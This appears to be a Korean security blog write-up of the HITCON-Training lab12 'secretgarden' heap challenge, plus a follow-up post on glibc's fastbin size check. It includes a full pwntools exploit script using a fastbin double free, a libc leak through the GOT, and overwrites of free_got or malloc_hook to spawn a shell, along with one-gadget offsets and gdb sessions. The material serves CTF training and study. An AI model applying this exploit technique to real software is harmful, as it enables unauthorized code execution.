[HITCON-Training] lab12 : secretgarden
처음에 fastbin double free
를 이용해서 got영역을 덮으려고 했으나, chunk size로 적절한 영역을 찾지못해서...
그냥 got영역을 이용해 libc주소를 leak한 다음, malloc_hook
을 magic함수
주소로 덮었다.
그런데 알고보니... chunksize로 아래와 같은 부분을 사용할 수 있었다.
0x601ffa: 0x1e28000000000000 0xe168000000000060
0x60200a: 0x0000414141414141 0x2390000000000000
0x601ffa를 0x60 fastbin에 넣어서 사용할 수 있었다.
아니 근데 fastbin size가 아니지않나? 0xe168000000000060
인데?
그래서malloc.c
파일을 살펴보았다. 그 내용은 아래 url에...
https://xerxes-break.tistory.com/440
exploit은 아래와 같이 할 수 있다.
double free
버그로 flower데이터를 2번 할당받아서 원하는 메모리 주소를 leak할 수 있고, 그렇게 leak한 libc주소로 system함수 주소를 구해 다시 double free
버그로 free_got를 system함수로 덮어서 쉘을 획득할 수 있다.
#!/usr/bin/env python
from pwn import *
conn = process("./secretgarden")
def raiseflower(length,name,color):
conn.recvuntil(":")
conn.sendline("1")
conn.recvuntil(":")
conn.sendline(str(length))
conn.recvuntil(":")
conn.send(name)
conn.recvuntil(":")
conn.sendline(color)
def visit():
conn.recvuntil(":")
conn.sendline("2")
def remove(idx):
conn.recvuntil(":")
conn.sendline("3")
conn.recvuntil(":")
conn.sendline(str(idx))
def clean():
conn.recvuntil(":")
conn.sendline("4")
my_exploit = False#True
if(my_exploit):
conn.recvuntil("Baby Secret Garden")
raiseflower(0x20, "A"*0x20, "red")
raiseflower(0x20, "A"*0x20, "blue")
# double free
remove(0)
remove(1)
remove(0)
clean()
raiseflower(0x20, "A"*0x20, "green")
raiseflower(0x60, "A"*0x60, "leak")
# exist make 0
remove(1)
# leak puts_addr
payload = p64(1)
payload += p64(0x602020)
raiseflower(0x20, payload, "red")
visit()
conn.recvuntil("[1] :")
puts_addr = u64(conn.recv(6).ljust(8, "\x00"))
log.info("puts_addr : " + hex(puts_addr))
# double free
raiseflower(0x60, "A"*0x60, "A") #3
raiseflower(0x60, "A"*0x60, "B") #4
remove(3)
remove(4)
remove(3)
clean()
base_addr = puts_addr - 0x6f690
one_shot = base_addr + 0x45216
magic = 0x0400C7B
malloc_hook = base_addr + 0x3c4b10 - 11 - 8
"""
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
"""
log.info("base_addr : " + hex(base_addr))
log.info("malloc_hook : " + hex(malloc_hook))
log.info("one_shot : " + hex(one_shot))
log.info("magic : " + hex(magic))
raiseflower(0x60, p64(malloc_hook)+"\n", "A") #3
raiseflower(0x60, "A"*0x60, "B") #4
raiseflower(0x60, "A"*0x60, "B") #4
raiseflower(0x60, "A"*3+p64(magic), "B")
else:
conn.recvuntil("Baby Secret Garden")
raiseflower(0x20, "A"*0x20, "red")
raiseflower(0x20, "A"*0x20, "blue")
# double free
remove(0)
remove(1)
remove(0)
clean()
raiseflower(0x20, "A"*0x20, "green")
raiseflower(0x60, "A"*0x60, "leak")
# exist make 0
remove(1)
# leak puts_addr
payload = p64(1)
payload += p64(0x602020)
raiseflower(0x20, payload, "red")
visit()
conn.recvuntil("[1] :")
puts_addr = u64(conn.recv(6).ljust(8, "\x00"))
log.info("puts_addr : " + hex(puts_addr))
# double free
raiseflower(0x50, "A"*0x60, "A") #3
raiseflower(0x50, "A"*0x60, "B") #4
remove(3)
remove(4)
remove(3)
clean()
base_addr = puts_addr - 0x6f690
system_addr = base_addr + 0x45390
fake_chunk = 0x601ffa
"""
0x601ffa: 0x1e28000000000000 0xe168000000000060
0x60200a: 0x0000414141414141 0x2390000000000000
"""
log.info("base_addr : " + hex(base_addr))
log.info("system_addr : " + hex(system_addr))
log.info("fake_chunk : " + hex(fake_chunk))
raiseflower(0x50, p64(fake_chunk)+"\n", "A") #3
raiseflower(0x50, "/bin/sh\x00"+"\n", "B") #4
raiseflower(0x50, "A"*0x50, "B")
raiseflower(0x50, "A"*6+p64(0)+p64(system_addr), "B")
remove(4)
"""
conn.recvuntil("Baby Secret Garden")
magic = 0x400c7b
fake_chunk = 0x601ffa
raiseflower(0x50,"da","red")
raiseflower(0x50,"da","red")
remove(0)
remove(1)
remove(0)
raiseflower(0x50,p64(fake_chunk),"blue")
raiseflower(0x50,"da","red")
raiseflower(0x50,"da","red")
raiseflower(0x50,"a"*6 + p64(0) + p64(magic) ,"red")
"""
conn.interactive()
'Write-up > CTF _ Write UP' 카테고리의 다른 글
RCTF 2018 Writeup (cpushop / babyre / Misc+) (0) | 2018.05.21 |
---|---|
DEFCON CTF Quals 2018 Writeup (0) | 2018.05.14 |
[WriteUP] Byte Bandits CTF 2018 (0) | 2018.04.10 |
[WriteUp] UIUCTF 2018 Writeup (0) | 2018.04.10 |
[glibc] malloc - fastbin size check 분석 : malloc(): memory corruption (fast)
HITCON-Training lab12 sercretgarden 문제를 풀다가 fastbin chunk size check
루틴에 의문을 가지게 되어서 알아보게 되었다.
이 문제 exploit시 아래와 같은 영역을 사용하게 된다. 문제는 아래 chunk의 size부분인데. 사이즈가 0xe168000000000060이다.
그런데 malloc(0x50)로 할당시 아래와 같은 영역이 fastbin
에 존재한다면 이것을 오류없이 할당할 수 있을까?
0x601ffa: 0x1e28000000000000 0xe168000000000060
0x60200a: 0x0000414141414141 0x2390000000000000
할당할 수 있다가 정답이다. tcache
가 trriger되지 않은 상태에서 아래와 같은 영역을 fastbin chunk
로 사용하여 double free
버그에서 할당 시 사용할 수 있다. 그런데 사이즈를 보면 fastbin의 사이즈가 아니니까 사이즈에러아닌가?
0x601ffa (size error (0xe168000000000060))
그래서 malloc.c의 소스코드를 살펴보았다. 여기서 3602번째줄 부터 보면 fastchunk size check
루틴이 있다.
malloc(): memory corruption (fast)
오류는 malloc 요청 처리시 fastbin에서 첫 번째 청크를 제거할 때, 첫번재 청크의 크기가 fastbin 청크 범위에 속하지 않으면 발생한다.
https://heap-exploitation.dhavalkapil.com/diving_into_glibc_heap/security_checks.html
unsigned int idx; /* associated bin index */
if (__glibc_likely (victim != NULL))
{
size_t victim_idx = fastbin_index (chunksize (victim));
if (__builtin_expect (victim_idx != idx, 0))
malloc_printerr ("malloc(): memory corruption (fast)");
check_remalloced_chunk (av, victim, nb);
이 첫번째 victim청크의 fastbin_index를 구하여 해당 fastbin의 index가 맞는지 확인을 하게 되는데, 이 fastbin_index 매크로는 아래와 같다.
((((unsigned int) ((((victim)->mchunk_size) & ~((0x1 | 0x2 | 0x4))))) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
즉, 사이즈가 unsigned int이다. 이 말은 즉 fastchunk size check
에는 4byte만 사용된다는 것이고 0xe1ffffff00000060같은 값도 check를 통과한다는 것이다.
정말 그런지 확인해보기 위해 peda
를 사용해 디버깅해보았다.
gdb-peda$ $ set *(0x601ffa+12)=0xe122ffff
gdb-peda$ $ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x601ffa (size error (0xe122ffff00000060)) --> 0xeee000007ffff7ff (invaild memory)
(0x70) fastbin[5]: 0x6040d0 --> 0x0
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x604290 (size : 0x1fd70)
last_remainder: 0x0 (size : 0x0)
unsortbin: 0x0
gdb-peda$ $ c
위와 같이 0x60에 해당되는 fastbin
의 첫번째 청크 크기를 0xe122ffff00000060로 바꾸고 할당을 시켜보았다.
gdb-peda$ $ x/4gx 0x601ffa
0x601ffa: 0x1e28000000000000 0xe122ffff00000060
0x60200a: 0x4141414141414141 0x14f000007ffff70a
gdb-peda$ $
오... 잘되는 것을 알 수 있다. 이걸 몰라서 항상 어렵게 익스를 구성했엇는데, 이러면 tcache
가 비활성화된 libc에서 double free bug
를 이용할 때 조금 더 편하게 익스를 짤 수 있을 것같다.
'Pwnable!!' 카테고리의 다른 글
[ 19.04 ] glibc 2.29 heap exploit 관련 (0) | 2019.07.22 |
---|---|
[Linux] gdb로 PIE 디버깅 (0) | 2019.07.22 |
[x86 & x64] Return to dl resolve (rtdl) (0) | 2019.07.13 |
[18.04]glibc 2.27 이상에서 unsorted bin으로 main_areana leak 하는 법 (0) | 2019.07.08 |
함수이름 문자열 .dynstr 활용하기 (0) | 2019.06.24 |
[x86 & x64] Return to dl resolve (rtdl)